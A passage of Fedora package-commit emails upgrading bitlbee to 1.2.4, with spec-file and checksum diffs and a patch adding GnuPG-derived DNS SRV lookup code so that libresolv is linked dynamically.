Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/EL-4/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	7 Sep 2008 20:02:45 -0000	1.7
+++ .cvsignore	17 Oct 2009 18:56:11 -0000	1.8
@@ -1 +1 @@
-bitlbee-1.2.3.tar.gz
+bitlbee-1.2.4.tar.gz


Index: bitlbee.spec
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/EL-4/bitlbee.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- bitlbee.spec	16 Aug 2009 22:43:43 -0000	1.8
+++ bitlbee.spec	17 Oct 2009 18:56:11 -0000	1.9
@@ -1,14 +1,14 @@
 Summary:           IRC to other chat networks gateway
 Name:              bitlbee
-Version:           1.2.3
-Release:           4%{?dist}
+Version:           1.2.4
+Release:           1%{?dist}
 License:           GPLv2+ and MIT
 Group:             System Environment/Daemons
 URL:               http://www.bitlbee.org/
 Source0:           http://get.bitlbee.org/src/%{name}-%{version}.tar.gz
 Source1:           bitlbee.xinetd
 Source2:           bitlbee-wrapper.h
-Patch0:            bitlbee-1.2.3-libresolv.patch
+Patch0:            bitlbee-1.2.4-libresolv.patch
 Requires:          xinetd
 Requires(pre):     shadow-utils
 Requires(preun):   /sbin/service
@@ -125,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Sat Oct 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.4-1
+- Upgrade to 1.2.4
+
 * Mon Aug 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.3-4
 - Updated libresolv patch to not segfault when connecting to the
   Jabber/XMPP server if there's no SRV record (#506719, #501786)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/EL-4/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2008 20:02:45 -0000	1.7
+++ sources	17 Oct 2009 18:56:11 -0000	1.8
@@ -1 +1 @@
-2b1674d98804970809de3da3edf0bed2  bitlbee-1.2.3.tar.gz
+26b9bfc5446bdf0e932e8074d117be67  bitlbee-1.2.4.tar.gz


--- bitlbee-1.2.3-libresolv.patch DELETED ---



From robert at fedoraproject.org  Sat Oct 17 18:56:13 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sat, 17 Oct 2009 18:56:13 +0000 (UTC)
Subject: rpms/bitlbee/F-10 bitlbee-1.2.4-libresolv.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 bitlbee.spec, 1.10, 1.11 sources, 1.7,
	1.8 bitlbee-1.2.3-libresolv.patch, 1.1, NONE
Message-ID: <20091017185613.8657711C0269@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/extras/rpms/bitlbee/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32327/F-10

Modified Files:
	.cvsignore bitlbee.spec sources 
Added Files:
	bitlbee-1.2.4-libresolv.patch 
Removed Files:
	bitlbee-1.2.3-libresolv.patch 
Log Message:
Upgrade to 1.2.4


bitlbee-1.2.4-libresolv.patch:
 Makefile     |    2 
 configure    |    6 -
 lib/Makefile |    2 
 lib/misc.c   |   53 -------------
 lib/misc.h   |    9 --
 lib/srv.c    |  239 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 lib/srv.h    |   49 ++++++++++++
 7 files changed, 295 insertions(+), 65 deletions(-)

--- NEW FILE bitlbee-1.2.4-libresolv.patch ---
Patch by Robert Scheck <robert at fedoraproject.org>, based on a patch by Mat?j Cepl
<mcepl at redhat.com> for bitlbee >= 1.2, to avoid static linking to a private glibc
function, normally visible as libc.so.6(GLIBC_PRIVATE) in the binary RPM package.

Unfortunately, this patch gets not accepted by upstream, as they're fine with the
static linking. The former try with libbind has the problem, that it breaks, once
the file transfer patch is added, because of libbind apparently all symbols which
are synonyms between glibc and libbind came from libbind, which made some nasty
surprises when e.g. getaddrinfo from libbind returned different error codes than
getaddrinfo from glibc.

A few more information and details regarding are mentioned in Red Hat Bugzilla ID
#439047, see: https://bugzilla.redhat.com/show_bug.cgi?id=439047

--- bitlbee-1.2.4/configure			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/configure.libresolv		2009-10-17 20:17:11.000000000 +0200
@@ -19,7 +19,7 @@
 pidfile='/var/run/bitlbee.pid'
 ipcsocket='/var/run/bitlbee.sock'
 pcdir='$prefix/lib/pkgconfig'
-systemlibdirs="/lib /usr/lib /usr/local/lib"
+systemlibdirs="/lib64 /usr/lib64 /usr/local/lib64 /lib /usr/lib /usr/local/lib"
 
 msn=1
 jabber=1
@@ -349,9 +349,9 @@
 echo 'SSL_CLIENT=ssl_'$ssl'.o' >> Makefile.settings
 
 for i in $systemlibdirs; do
-	if [ -f $i/libresolv.a ]; then
+	if [ -f $i/libresolv.so ]; then
 		echo '#define HAVE_RESOLV_A' >> config.h
-		echo 'EFLAGS+='$i'/libresolv.a' >> Makefile.settings
+		echo 'EFLAGS+=-lresolv' >> Makefile.settings
 		break
 	fi
 done
--- bitlbee-1.2.4/lib/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/Makefile.libresolv	2009-10-17 20:17:38.000000000 +0200
@@ -9,7 +9,7 @@
 -include ../Makefile.settings
 
 # [SH] Program variables
-objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o $(SSL_CLIENT) url.o xmltree.o
+objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o srv.o $(SSL_CLIENT) url.o xmltree.o
 
 CFLAGS += -Wall
 LFLAGS += -r
--- bitlbee-1.2.4/lib/misc.c			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.c.libresolv		2009-10-17 20:18:34.000000000 +0200
@@ -43,6 +43,7 @@
 #ifdef HAVE_RESOLV_A
 #include <arpa/nameser.h>
 #include <resolv.h>
+#include <netinet/in.h>
 #endif
 
 #include "ssl_client.h"
@@ -467,58 +468,6 @@
 	return 0;
 }
 
-struct ns_srv_reply *srv_lookup( char *service, char *protocol, char *domain )
-{	
-	struct ns_srv_reply *reply = NULL;
-#ifdef HAVE_RESOLV_A
-	char name[1024];
-	unsigned char querybuf[1024];
-	const unsigned char *buf;
-	ns_msg nsh;
-	ns_rr rr;
-	int i, len, size;
-	
-	g_snprintf( name, sizeof( name ), "_%s._%s.%s", service, protocol, domain );
-	
-	if( ( size = res_query( name, ns_c_in, ns_t_srv, querybuf, sizeof( querybuf ) ) ) <= 0 )
-		return NULL;
-	
-	if( ns_initparse( querybuf, size, &nsh ) != 0 )
-		return NULL;
-	
-	if( ns_parserr( &nsh, ns_s_an, 0, &rr ) != 0 )
-		return NULL;
-	
-	size = ns_rr_rdlen( rr );
-	buf = ns_rr_rdata( rr );
-	
-	len = 0;
-	for( i = 6; i < size && buf[i]; i += buf[i] + 1 )
-		len += buf[i] + 1;
-	
-	if( i > size )
-		return NULL;
-	
-	reply = g_malloc( sizeof( struct ns_srv_reply ) + len );
-	memcpy( reply->name, buf + 7, len );
-	
-	for( i = buf[6]; i < len && buf[7+i]; i += buf[7+i] + 1 )
-		reply->name[i] = '.';
-	
-	if( i > len )
-	{
-		g_free( reply );
-		return NULL;
-	}
-	
-	reply->prio = ( buf[0] << 8 ) | buf[1];
-	reply->weight = ( buf[2] << 8 ) | buf[3];
-	reply->port = ( buf[4] << 8 ) | buf[5];
-#endif
-	
-	return reply;
-}
-
 /* Word wrapping. Yes, I know this isn't UTF-8 clean. I'm willing to take the risk. */
 char *word_wrap( char *msg, int line_len )
 {
--- bitlbee-1.2.4/lib/misc.h			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.h.libresolv		2009-10-17 20:19:03.000000000 +0200
@@ -28,14 +28,7 @@
 
 #include <gmodule.h>
 #include <time.h>
-
-struct ns_srv_reply
-{
-	int prio;
-	int weight;
-	int port;
-	char name[];
-};
+#include "srv.h"
 
 G_MODULE_EXPORT void strip_linefeed( gchar *text );
 G_MODULE_EXPORT char *add_cr( char *text );
--- bitlbee-1.2.4/lib/srv.c			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.c.libresolv		2008-06-28 17:28:45.000000000 +0200
@@ -0,0 +1,239 @@
+/* srv.c - DNS SRV code
+ * Copyright (C) 2003 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#undef TEST
+
+#ifdef TEST
+#define HAVE_RESOLV_A
+#endif
+
+#include <config.h>
+#include <sys/types.h>
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "srv.h"
+#include <glib.h>
+#include <glib/gprintf.h>
+#include <glib/gutils.h>
+
+/* Not every installation has gotten around to supporting SRVs yet...*/
+#ifndef T_SRV
+#define T_SRV 33
+#endif
+
+static int priosort(const void *a, const void *b) {
+	const struct ns_srv_reply *sa=a, *sb=b;
+	if (sa->prio>sb->prio)
+		return 1;
+	else if (sa->prio<sb->prio)
+		return -1;
+	else
+		return 0;
+}
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain) {
+	struct ns_srv_reply *reply = NULL;
+	struct ns_srv_reply *list = NULL;
+	char name[1024];
+#ifdef HAVE_RESOLV_A
+	unsigned char answer[PACKETSZ];
+	int r, srvcount=0;
+	unsigned char *pt, *emsg;
+	int count, dlen;
+
+	g_snprintf(name, sizeof(name ), "_%s._%s.%s", service, protocol, domain);
+
+	_res.options |= RES_DEBUG;
+	
+	if ( res_init() != 0 ) 
+		return NULL;
+	
+	r=res_query(name, C_IN, T_SRV, answer, PACKETSZ);
+	
+	if (r<sizeof(HEADER) || r>PACKETSZ)
+		return NULL;
+
+	if ((((HEADER *)answer)->rcode)==NOERROR && (count=ntohs(((HEADER *)answer)->ancount))) {
+		int i, rc;
+
+		emsg=&answer[r]; /* end of message ??? */
+		pt=&answer[sizeof(HEADER)];
+
+		/* Skip over the query */
+		rc=dn_skipname(pt, emsg);
+		if (rc==-1)
+			goto fail;
+
+		pt+=rc+QFIXEDSZ;
+
+		while (count-->0 && pt<emsg) {
+			struct ns_srv_reply *srv=NULL;
+			int type, class;
+
+			list=g_realloc(list, (srvcount+1)*sizeof(struct ns_srv_reply));
+			memset(&list[srvcount], 0, sizeof(struct ns_srv_reply));
+			srv=&list[srvcount];
+			srvcount++;
+
+			rc=dn_skipname(pt, emsg); /* the name we just queried for */
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+
+			/* Truncated message? */
+			if ((emsg-pt)<16)
+				goto fail;
+
+			type=*pt++ << 8;
+			type|=*pt++;
+			/* We asked for SRV and got something else !? */
+			if (type!=T_SRV)
+				goto fail;
+
+			class=*pt++ << 8;
+			class|=*pt++;
+			/* We asked for IN and got something else !? */
+			if (class!=C_IN)
+				goto fail;
+
+			pt+=4; /* ttl */
+			dlen=*pt++ << 8;
+			dlen|=*pt++;
+			srv->prio=*pt++ << 8;
+			srv->prio|=*pt++;
+			srv->weight=*pt++ << 8;
+			srv->weight|=*pt++;
+			srv->port=*pt++ << 8;
+			srv->port|=*pt++;
+
+			/* Get the name.  2782 doesn't allow name compression, but
+			 dn_expand still works to pull the name out of the
+			 packet. */
+			rc=dn_expand(answer, emsg, pt, srv->name, MAXDNAME);
+			if (rc==1 && srv->name[0]==0) /* "." */
+				goto noanswer;
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+			/* Corrupt packet? */
+			if (dlen!=rc+6)
+				goto fail;
+		}
+
+		/* Now we have an array of all the srv records. */
+
+		/* Order by priority */
+		qsort(list, srvcount, sizeof(struct ns_srv_reply), priosort);
+
+		/* For each priority, move the zero-weighted items first. */
+		for (i=0; i<srvcount; i++) {
+			int j;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (list[j].weight==0) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+
+					break;
+				}
+			}
+		}
+
+		/* Run the RFC-2782 weighting algorithm.  We don't need very
+		 high quality randomness for this, so regular libc srand/rand
+		 is sufficient. */
+		srand(time(NULL)*getpid());
+
+		for (i=0; i<srvcount; i++) {
+			int j;
+			float prio_count=0, chose;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				prio_count+=list[j].weight;
+				list[j].run_count=prio_count;
+			}
+
+			chose=prio_count*rand()/RAND_MAX;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (chose<=list[j].run_count) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+					break;
+				}
+			}
+		}
+	}
+
+	if (list == NULL)
+		return NULL;
+
+	/* TODO: bitlbee should expect a situation when more than one server
+	 * is available for the given SRV record.
+	 */
+	reply = g_malloc(sizeof(struct ns_srv_reply));
+	*reply = *list;
+	g_free(list);
+	/* list=NULL; */
+#endif /* HAVE_RESOLV_A */
+	return reply;
+
+	noanswer: g_free(list);
+	list=NULL;
+	return NULL;
+
+	fail: g_free(list);
+	list=NULL;
+	return NULL;
+}
+
+#ifdef TEST
+int main(int argc, char *argv[]) {
+	struct ns_srv_reply *srv;
+	/*int rc,i;*/
+
+	srv=srv_lookup("xmpp-client", "tcp", "jabber.org");
+	if (srv != NULL) {
+		printf("priority=%hu\n", srv->prio);
+		printf("weight=%hu\n", srv->weight);
+		printf("port=%hu\n", srv->port);
+		printf("target=%s\n", srv->name);
+		printf("\n");
+		g_free(srv);
+	}
+
+	return 0;
+}
+#endif /* TEST */
--- bitlbee-1.2.4/lib/srv.h			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.h.libresolv		2008-06-28 17:29:39.000000000 +0200
@@ -0,0 +1,49 @@
+/* srv.h
+ * Copyright (C) 2003, 2004 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef GNUPG_COMMON_SRV_H
+#define GNUPG_COMMON_SRV_H
+
+#ifdef HAVE_RESOLV_A
+# ifdef _WIN32
+#  include <windows.h>
+# else
+#  include <netinet/in.h>
+#  include <arpa/nameser.h>
+#  include <resolv.h>
+# endif /* !_WIN32 */
+#endif /* USE_DNS_SRV */
+
+
+#ifndef MAXDNAME
+#define MAXDNAME 1025
+#endif
+
+struct ns_srv_reply
+{
+	int prio; /* priority */
+	int weight; /* weight */
+	int port; /* port */
+	int run_count; /* from struct srventry at gnupg's common/srv.h */
+	char name[MAXDNAME]; /* target */
+};
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain);
+
+#endif /*GNUPG_COMMON_SRV_H*/
--- bitlbee-1.2.4/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/Makefile.libresolv		2009-10-17 20:23:53.000000000 +0200
@@ -10,7 +10,7 @@
 
 # Program variables
 objects = account.o bitlbee.o chat.o crypting.o help.o ipc.o irc.o irc_commands.o nick.o query.o root_commands.o set.o storage.o $(STORAGE_OBJS) user.o
-headers = account.h bitlbee.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/ssl_client.h lib/url.h protocols/nogaim.h
+headers = account.h bitlbee.h chat.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/srv.h lib/ssl_client.h lib/url.h protocols/nogaim.h
 subdirs = lib protocols
 
 ifeq ($(TARGET),i586-mingw32msvc)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	7 Sep 2008 20:02:46 -0000	1.7
+++ .cvsignore	17 Oct 2009 18:56:12 -0000	1.8
@@ -1 +1 @@
-bitlbee-1.2.3.tar.gz
+bitlbee-1.2.4.tar.gz


Index: bitlbee.spec
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-10/bitlbee.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- bitlbee.spec	17 Aug 2009 20:37:11 -0000	1.10
+++ bitlbee.spec	17 Oct 2009 18:56:13 -0000	1.11
@@ -1,14 +1,14 @@
 Summary:           IRC to other chat networks gateway
 Name:              bitlbee
-Version:           1.2.3
-Release:           4%{?dist}
+Version:           1.2.4
+Release:           1%{?dist}
 License:           GPLv2+ and MIT
 Group:             System Environment/Daemons
 URL:               http://www.bitlbee.org/
 Source0:           http://get.bitlbee.org/src/%{name}-%{version}.tar.gz
 Source1:           bitlbee.xinetd
 Source2:           bitlbee-wrapper.h
-Patch0:            bitlbee-1.2.3-libresolv.patch
+Patch0:            bitlbee-1.2.4-libresolv.patch
 Requires:          xinetd
 Requires(pre):     shadow-utils
 Requires(preun):   /sbin/service
@@ -83,11 +83,6 @@ mv -f $RPM_BUILD_ROOT%{_includedir}/%{na
 install -p -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_includedir}/%{name}/config.h
 %endif
 
-# Waiting for Red Hat Bugzilla Bug ID #505351 to get fixed soon
-%if 0%{?fedora} < 11
-sed -e '/^Version:/d' -i $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc
-%endif
-
 # Convert everything to UTF-8
 iconv -f iso-8859-1 -t utf-8 -o doc/CHANGES.utf8 doc/CHANGES
 touch -c -r doc/CHANGES doc/CHANGES.utf8
@@ -130,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Sat Oct 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.4-1
+- Upgrade to 1.2.4
+
 * Mon Aug 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.3-4
 - Updated libresolv patch to not segfault when connecting to the
   Jabber/XMPP server if there's no SRV record (#506719, #501786)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2008 20:02:46 -0000	1.7
+++ sources	17 Oct 2009 18:56:13 -0000	1.8
@@ -1 +1 @@
-2b1674d98804970809de3da3edf0bed2  bitlbee-1.2.3.tar.gz
+26b9bfc5446bdf0e932e8074d117be67  bitlbee-1.2.4.tar.gz


--- bitlbee-1.2.3-libresolv.patch DELETED ---



From robert at fedoraproject.org  Sat Oct 17 18:56:14 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sat, 17 Oct 2009 18:56:14 +0000 (UTC)
Subject: rpms/bitlbee/F-12 bitlbee-1.2.4-libresolv.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 bitlbee.spec, 1.12, 1.13 sources, 1.7,
	1.8 bitlbee-1.2.3-libresolv.patch, 1.1, NONE
Message-ID: <20091017185614.1B96711C0260@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/extras/rpms/bitlbee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32327/F-12

Modified Files:
	.cvsignore bitlbee.spec sources 
Added Files:
	bitlbee-1.2.4-libresolv.patch 
Removed Files:
	bitlbee-1.2.3-libresolv.patch 
Log Message:
Upgrade to 1.2.4


bitlbee-1.2.4-libresolv.patch:
 Makefile     |    2 
 configure    |    6 -
 lib/Makefile |    2 
 lib/misc.c   |   53 -------------
 lib/misc.h   |    9 --
 lib/srv.c    |  239 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 lib/srv.h    |   49 ++++++++++++
 7 files changed, 295 insertions(+), 65 deletions(-)

--- NEW FILE bitlbee-1.2.4-libresolv.patch ---
Patch by Robert Scheck <robert at fedoraproject.org>, based on a patch by Mat?j Cepl
<mcepl at redhat.com> for bitlbee >= 1.2, to avoid static linking to a private glibc
function, normally visible as libc.so.6(GLIBC_PRIVATE) in the binary RPM package.

Unfortunately, this patch gets not accepted by upstream, as they're fine with the
static linking. The former try with libbind has the problem, that it breaks, once
the file transfer patch is added, because of libbind apparently all symbols which
are synonyms between glibc and libbind came from libbind, which made some nasty
surprises when e.g. getaddrinfo from libbind returned different error codes than
getaddrinfo from glibc.

A few more information and details regarding are mentioned in Red Hat Bugzilla ID
#439047, see: https://bugzilla.redhat.com/show_bug.cgi?id=439047

--- bitlbee-1.2.4/configure			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/configure.libresolv		2009-10-17 20:17:11.000000000 +0200
@@ -19,7 +19,7 @@
 pidfile='/var/run/bitlbee.pid'
 ipcsocket='/var/run/bitlbee.sock'
 pcdir='$prefix/lib/pkgconfig'
-systemlibdirs="/lib /usr/lib /usr/local/lib"
+systemlibdirs="/lib64 /usr/lib64 /usr/local/lib64 /lib /usr/lib /usr/local/lib"
 
 msn=1
 jabber=1
@@ -349,9 +349,9 @@
 echo 'SSL_CLIENT=ssl_'$ssl'.o' >> Makefile.settings
 
 for i in $systemlibdirs; do
-	if [ -f $i/libresolv.a ]; then
+	if [ -f $i/libresolv.so ]; then
 		echo '#define HAVE_RESOLV_A' >> config.h
-		echo 'EFLAGS+='$i'/libresolv.a' >> Makefile.settings
+		echo 'EFLAGS+=-lresolv' >> Makefile.settings
 		break
 	fi
 done
--- bitlbee-1.2.4/lib/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/Makefile.libresolv	2009-10-17 20:17:38.000000000 +0200
@@ -9,7 +9,7 @@
 -include ../Makefile.settings
 
 # [SH] Program variables
-objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o $(SSL_CLIENT) url.o xmltree.o
+objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o srv.o $(SSL_CLIENT) url.o xmltree.o
 
 CFLAGS += -Wall
 LFLAGS += -r
--- bitlbee-1.2.4/lib/misc.c			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.c.libresolv		2009-10-17 20:18:34.000000000 +0200
@@ -43,6 +43,7 @@
 #ifdef HAVE_RESOLV_A
 #include <arpa/nameser.h>
 #include <resolv.h>
+#include <netinet/in.h>
 #endif
 
 #include "ssl_client.h"
@@ -467,58 +468,6 @@
 	return 0;
 }
 
-struct ns_srv_reply *srv_lookup( char *service, char *protocol, char *domain )
-{	
-	struct ns_srv_reply *reply = NULL;
-#ifdef HAVE_RESOLV_A
-	char name[1024];
-	unsigned char querybuf[1024];
-	const unsigned char *buf;
-	ns_msg nsh;
-	ns_rr rr;
-	int i, len, size;
-	
-	g_snprintf( name, sizeof( name ), "_%s._%s.%s", service, protocol, domain );
-	
-	if( ( size = res_query( name, ns_c_in, ns_t_srv, querybuf, sizeof( querybuf ) ) ) <= 0 )
-		return NULL;
-	
-	if( ns_initparse( querybuf, size, &nsh ) != 0 )
-		return NULL;
-	
-	if( ns_parserr( &nsh, ns_s_an, 0, &rr ) != 0 )
-		return NULL;
-	
-	size = ns_rr_rdlen( rr );
-	buf = ns_rr_rdata( rr );
-	
-	len = 0;
-	for( i = 6; i < size && buf[i]; i += buf[i] + 1 )
-		len += buf[i] + 1;
-	
-	if( i > size )
-		return NULL;
-	
-	reply = g_malloc( sizeof( struct ns_srv_reply ) + len );
-	memcpy( reply->name, buf + 7, len );
-	
-	for( i = buf[6]; i < len && buf[7+i]; i += buf[7+i] + 1 )
-		reply->name[i] = '.';
-	
-	if( i > len )
-	{
-		g_free( reply );
-		return NULL;
-	}
-	
-	reply->prio = ( buf[0] << 8 ) | buf[1];
-	reply->weight = ( buf[2] << 8 ) | buf[3];
-	reply->port = ( buf[4] << 8 ) | buf[5];
-#endif
-	
-	return reply;
-}
-
 /* Word wrapping. Yes, I know this isn't UTF-8 clean. I'm willing to take the risk. */
 char *word_wrap( char *msg, int line_len )
 {
--- bitlbee-1.2.4/lib/misc.h			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.h.libresolv		2009-10-17 20:19:03.000000000 +0200
@@ -28,14 +28,7 @@
 
 #include <gmodule.h>
 #include <time.h>
-
-struct ns_srv_reply
-{
-	int prio;
-	int weight;
-	int port;
-	char name[];
-};
+#include "srv.h"
 
 G_MODULE_EXPORT void strip_linefeed( gchar *text );
 G_MODULE_EXPORT char *add_cr( char *text );
--- bitlbee-1.2.4/lib/srv.c			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.c.libresolv		2008-06-28 17:28:45.000000000 +0200
@@ -0,0 +1,239 @@
+/* srv.c - DNS SRV code
+ * Copyright (C) 2003 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#undef TEST
+
+#ifdef TEST
+#define HAVE_RESOLV_A
+#endif
+
+#include <config.h>
+#include <sys/types.h>
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "srv.h"
+#include <glib.h>
+#include <glib/gprintf.h>
+#include <glib/gutils.h>
+
+/* Not every installation has gotten around to supporting SRVs yet...*/
+#ifndef T_SRV
+#define T_SRV 33
+#endif
+
+static int priosort(const void *a, const void *b) {
+	const struct ns_srv_reply *sa=a, *sb=b;
+	if (sa->prio>sb->prio)
+		return 1;
+	else if (sa->prio<sb->prio)
+		return -1;
+	else
+		return 0;
+}
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain) {
+	struct ns_srv_reply *reply = NULL;
+	struct ns_srv_reply *list = NULL;
+	char name[1024];
+#ifdef HAVE_RESOLV_A
+	unsigned char answer[PACKETSZ];
+	int r, srvcount=0;
+	unsigned char *pt, *emsg;
+	int count, dlen;
+
+	g_snprintf(name, sizeof(name ), "_%s._%s.%s", service, protocol, domain);
+
+	_res.options |= RES_DEBUG;
+	
+	if ( res_init() != 0 ) 
+		return NULL;
+	
+	r=res_query(name, C_IN, T_SRV, answer, PACKETSZ);
+	
+	if (r<sizeof(HEADER) || r>PACKETSZ)
+		return NULL;
+
+	if ((((HEADER *)answer)->rcode)==NOERROR && (count=ntohs(((HEADER *)answer)->ancount))) {
+		int i, rc;
+
+		emsg=&answer[r]; /* end of message ??? */
+		pt=&answer[sizeof(HEADER)];
+
+		/* Skip over the query */
+		rc=dn_skipname(pt, emsg);
+		if (rc==-1)
+			goto fail;
+
+		pt+=rc+QFIXEDSZ;
+
+		while (count-->0 && pt<emsg) {
+			struct ns_srv_reply *srv=NULL;
+			int type, class;
+
+			list=g_realloc(list, (srvcount+1)*sizeof(struct ns_srv_reply));
+			memset(&list[srvcount], 0, sizeof(struct ns_srv_reply));
+			srv=&list[srvcount];
+			srvcount++;
+
+			rc=dn_skipname(pt, emsg); /* the name we just queried for */
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+
+			/* Truncated message? */
+			if ((emsg-pt)<16)
+				goto fail;
+
+			type=*pt++ << 8;
+			type|=*pt++;
+			/* We asked for SRV and got something else !? */
+			if (type!=T_SRV)
+				goto fail;
+
+			class=*pt++ << 8;
+			class|=*pt++;
+			/* We asked for IN and got something else !? */
+			if (class!=C_IN)
+				goto fail;
+
+			pt+=4; /* ttl */
+			dlen=*pt++ << 8;
+			dlen|=*pt++;
+			srv->prio=*pt++ << 8;
+			srv->prio|=*pt++;
+			srv->weight=*pt++ << 8;
+			srv->weight|=*pt++;
+			srv->port=*pt++ << 8;
+			srv->port|=*pt++;
+
+			/* Get the name.  2782 doesn't allow name compression, but
+			 dn_expand still works to pull the name out of the
